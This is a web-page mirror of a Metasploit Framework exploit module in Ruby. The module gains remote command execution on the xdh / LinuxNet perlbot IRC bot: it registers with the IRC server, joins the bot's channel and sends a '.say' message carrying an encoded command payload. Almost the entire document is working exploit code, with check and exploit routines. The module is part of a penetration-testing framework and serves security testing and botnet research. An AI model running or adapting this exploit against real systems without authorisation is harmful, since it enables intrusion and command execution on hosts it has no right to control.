CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/xdh_x_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution',
14
'Description' => %q{
15
This module allows remote command execution on an IRC Bot developed by xdh.
16
This perl bot was caught by Conor Patrick with his shellshock honeypot server
17
and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). Matt
18
Thayer also found this script which has a description of LinuxNet perlbot.
19
20
The bot answers only based on the servername and nickname in the IRC message
21
which is configured on the perl script thus you need to be an operator on the IRC
22
network to spoof it and in order to exploit this bot or have at least the same ip
23
to the config.
24
},
25
'Author' =>
26
[
27
#MalwareMustDie
28
'Jay Turla', # msf
29
'Conor Patrick', # initial discovery and botnet analysis for xdh
30
'Matt Thayer' # initial discovery for LinuxNet perlbot
31
],
32
'License' => MSF_LICENSE,
33
'References' =>
34
[
35
[ 'URL', 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ],
36
[ 'URL', 'https://twitter.com/MrMookie/status/673389285676965889' ], # Matt's discovery
37
[ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is
38
],
39
'Platform' => %w{ unix win },
40
'Arch' => ARCH_CMD,
41
'Payload' =>
42
{
43
'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
44
'DisableNops' => true,
45
'Compat' =>
46
{
47
'PayloadType' => 'cmd'
48
}
49
},
50
'Targets' =>
51
[
52
[ 'xdh Botnet / LinuxNet perlbot', { } ]
53
],
54
'Privileged' => false,
55
'DisclosureDate' => '2015-12-04',
56
'DefaultTarget' => 0))
57
58
register_options(
59
[
60
Opt::RPORT(6667),
61
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
62
OptString.new('NICK', [true, 'IRC Nickname', 'msfuser']), # botnet administrator name
63
OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
64
])
65
end
66
67
def post_auth?
68
true
69
end
70
71
def check
72
connect
73
74
res = register(sock)
75
if res =~ /463/ || res =~ /464/
76
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
77
return Exploit::CheckCode::Unknown
78
end
79
80
res = join(sock)
81
if !res =~ /353/ && !res =~ /366/
82
vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
83
return Exploit::CheckCode::Unknown
84
end
85
86
quit(sock)
87
disconnect
88
89
if res =~ /auth/ && res =~ /logged in/
90
Exploit::CheckCode::Vulnerable
91
else
92
Exploit::CheckCode::Safe
93
end
94
end
95
96
def send_msg(sock, data)
97
sock.put(data)
98
data = ""
99
begin
100
read_data = sock.get_once(-1, 1)
101
while !read_data.nil?
102
data << read_data
103
read_data = sock.get_once(-1, 1)
104
end
105
rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
106
elog(e)
107
end
108
109
data
110
end
111
112
def register(sock)
113
msg = ""
114
115
if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
116
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
117
end
118
119
if datastore['NICK'].length > 9
120
nick = rand_text_alpha(9)
121
print_error("The nick is longer than 9 characters, using #{nick}")
122
else
123
nick = datastore['NICK']
124
end
125
126
msg << "NICK #{nick}\r\n"
127
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
128
129
send_msg(sock,msg)
130
end
131
132
def join(sock)
133
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
134
send_msg(sock, join_msg)
135
end
136
137
def xdh_command(sock)
138
encoded = payload.encoded
139
command_msg = "PRIVMSG #{datastore['CHANNEL']} :.say #{encoded}\r\n"
140
send_msg(sock, command_msg)
141
end
142
143
def quit(sock)
144
quit_msg = "QUIT :bye bye\r\n"
145
sock.put(quit_msg)
146
end
147
148
def exploit
149
connect
150
151
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
152
res = register(sock)
153
if res =~ /463/ || res =~ /464/
154
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
155
return
156
end
157
158
print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
159
res = join(sock)
160
if !res =~ /353/ && !res =~ /366/
161
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
162
return
163
end
164
165
print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")
166
xdh_command(sock)
167
168
quit(sock)
169
disconnect
170
end
171
end
172
173